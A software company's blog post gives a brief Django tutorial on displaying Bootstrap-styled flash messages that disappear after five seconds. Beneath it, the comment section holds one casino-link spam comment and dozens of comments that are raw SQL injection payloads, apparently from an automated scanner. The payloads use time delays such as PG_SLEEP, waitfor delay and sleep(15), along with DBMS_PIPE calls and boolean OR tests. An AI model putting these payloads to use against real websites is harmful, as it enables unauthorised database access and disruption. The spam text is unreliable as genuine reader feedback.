Software Solutions Company

Django Messages

Jan. 8, 2023
Author: Asif Shahzad | Full Stack Web Developer


Here I will show the procedure to display message when form is submited. After 5 second the message will disappear. Lets start!

1. Add in Setting.py

INSTALLED_APPS = [
    
    'django.contrib.messages',
   
]

For bootstrap message formates add this code in setting.py

from django.contrib.messages import constants as messages
MESSAGE_TAGS = {
        messages.DEBUG: 'alert-secondary',
        messages.INFO: 'alert-info',
        messages.SUCCESS: 'alert-success',
        messages.WARNING: 'alert-warning',
        messages.ERROR: 'alert-danger',
}

This will show colouful alerts

2. Set up message template

{% for message in messages %}
<div class="container-fluid">
  <div id ="alert" class="alert {{ message.tags }} alert-dismissible" role="alert" >
    <button type="button" class="close" data-dismiss="alert" aria-label="Close">
      <span aria-hidden="true">×</span>
    </button>
    {{ message }}
  </div>
</div>
{% endfor %}


<script type="text/javascript">
    setTimeout(function () {

        // Closing the alert
        $('#alert').alert('close');
    }, 5000);
</script>

Here at the at the bottom, scripts hide the message after 5 seconds.

3. Include Message Template

Include Message Template in Django Form where required at top or bottom.

{% include 'main/messages.html' %}

4. In views.py add success and error

if form.is_valid():
            form.save()
            messages.success(request, 'Contact request submitted successfully.')
            
        else:
            messages.error(request, 'Invalid form submission.')
            messages.error(request, form.errors)

 

That's it.

Check the alerts.

Please share this page to friends.

Asif Shahzad | Full Stack Web Developer

Welcome to our Software Solutions Company, where we excel in transforming ideas into tangible realities. We have expertise in developing online management systems, website designing & development, software solutions, mobile app development, e-commerce solutions and graphic designing. We provide 24/7 services.

Latest Comments

Software Solutions Company

Marcia

May 12, 2025

Nice post. I learn something totally new and challenging on websites I stumbleupon everyday. It's always interesting to read content from other writers and use a little something from other websites. casino en ligne Ahaa, its nice discussion regarding this post at this place at this weblog, I have read all that, so now me also commenting here. casino en ligne Quality articles is the main to be a focus for the visitors to visit the site, that's what this website is providing. casino en ligne Hi there are using Wordpress for your blog platform? I'm new to the blog world but I'm trying to get started and set up my own. Do you need any coding knowledge to make your own blog? Any help would be greatly appreciated! casino en ligne Howdy exceptional website! Does running a blog similar to this take a great deal of work? I've virtually no understanding of coding however I was hoping to start my own blog soon. Anyhow, if you have any ideas or tips for new blog owners please share. I understand this is off topic but I just needed to ask. Appreciate it! casino en ligne Have you ever thought about including a little bit more than just your articles? I mean, what you say is valuable and all. However think of if you added some great photos or video clips to give your posts more, "pop"! Your content is excellent but with images and clips, this site could undeniably be one of the most beneficial in its field. Great blog! casino en ligne francais I am curious to find out what blog system you're utilizing? I'm experiencing some minor security issues with my latest site and I would like to find something more safeguarded. Do you have any recommendations? web page Hi colleagues, how is all, and what you would like to say on the topic of this post, in my view its in fact remarkable designed for me. casino en ligne I am actually pleased to glance at this webpage posts which carries tons of helpful information, thanks for providing these kinds of information. homepage Hi everyone, it's my first pay a quick visit at this web site, and piece of writing is really fruitful in support of me, keep up posting such articles or reviews. casino en ligne francais

Software Solutions Company

pHqghUme

Oct 29, 2024

@@BM7cw

Software Solutions Company

pHqghUme

Oct 29, 2024

����%2527%2522\'\"

Software Solutions Company

pHqghUme

Oct 29, 2024

'"

Software Solutions Company

pHqghUme

Oct 29, 2024

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Software Solutions Company

pHqghUme

Oct 29, 2024

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Software Solutions Company

pHqghUme

Oct 29, 2024

uuYKsvSU')) OR 680=(SELECT 680 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

BSXJfK0n') OR 344=(SELECT 344 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

NBtxntD5' OR 791=(SELECT 791 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

-1)) OR 800=(SELECT 800 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

-1) OR 394=(SELECT 394 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 87=(SELECT 87 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

Rf7XqJQc'; waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1); waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1; waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Software Solutions Company

pHqghUme

Oct 29, 2024

0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z

Software Solutions Company

pHqghUme

Oct 29, 2024

0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z

Software Solutions Company

pHqghUme

Oct 29, 2024

*if(now()=sysdate(),sleep(15),0)

Software Solutions Company

pHqghUme

Oct 29, 2024

-1" OR 3+809-809-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1" OR 2+809-809-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 3+304-304-1=0+0+0+1 or 'hPsDNif6'='

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 2+304-304-1=0+0+0+1 or 'hPsDNif6'='

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 3+748-748-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 2+748-748-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 3+298-298-1=0+0+0+1

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 2+298-298-1=0+0+0+1

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 3+26-26-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 2+26-26-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

T7oyjT17

Software Solutions Company

pHqghUme

Oct 29, 2024

@@Qp2A0

Software Solutions Company

pHqghUme

Oct 29, 2024

����%2527%2522\'\"

Software Solutions Company

pHqghUme

Oct 29, 2024

'"

Software Solutions Company

pHqghUme

Oct 29, 2024

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Software Solutions Company

pHqghUme

Oct 29, 2024

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Software Solutions Company

pHqghUme

Oct 29, 2024

wzBP5rcj')) OR 252=(SELECT 252 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

NQG8XIon') OR 824=(SELECT 824 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

iX0mExB4' OR 444=(SELECT 444 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

-1)) OR 620=(SELECT 620 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

-1) OR 984=(SELECT 984 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 171=(SELECT 171 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

h1GzYrm8'; waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1); waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1; waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Software Solutions Company

pHqghUme

Oct 29, 2024

0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z

Software Solutions Company

pHqghUme

Oct 29, 2024

0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z

Software Solutions Company

pHqghUme

Oct 29, 2024

*if(now()=sysdate(),sleep(15),0)

Software Solutions Company

pHqghUme

Oct 29, 2024

-1" OR 3+193-193-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1" OR 2+193-193-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 3+76-76-1=0+0+0+1 or 'DswJUGhx'='

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 2+76-76-1=0+0+0+1 or 'DswJUGhx'='

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 3+851-851-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 2+851-851-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 3+649-649-1=0+0+0+1

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 2+649-649-1=0+0+0+1

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 3+212-212-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 2+212-212-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

exNDgWpE

Popular Posts






Call To Action

Do you Need a website?

Order Now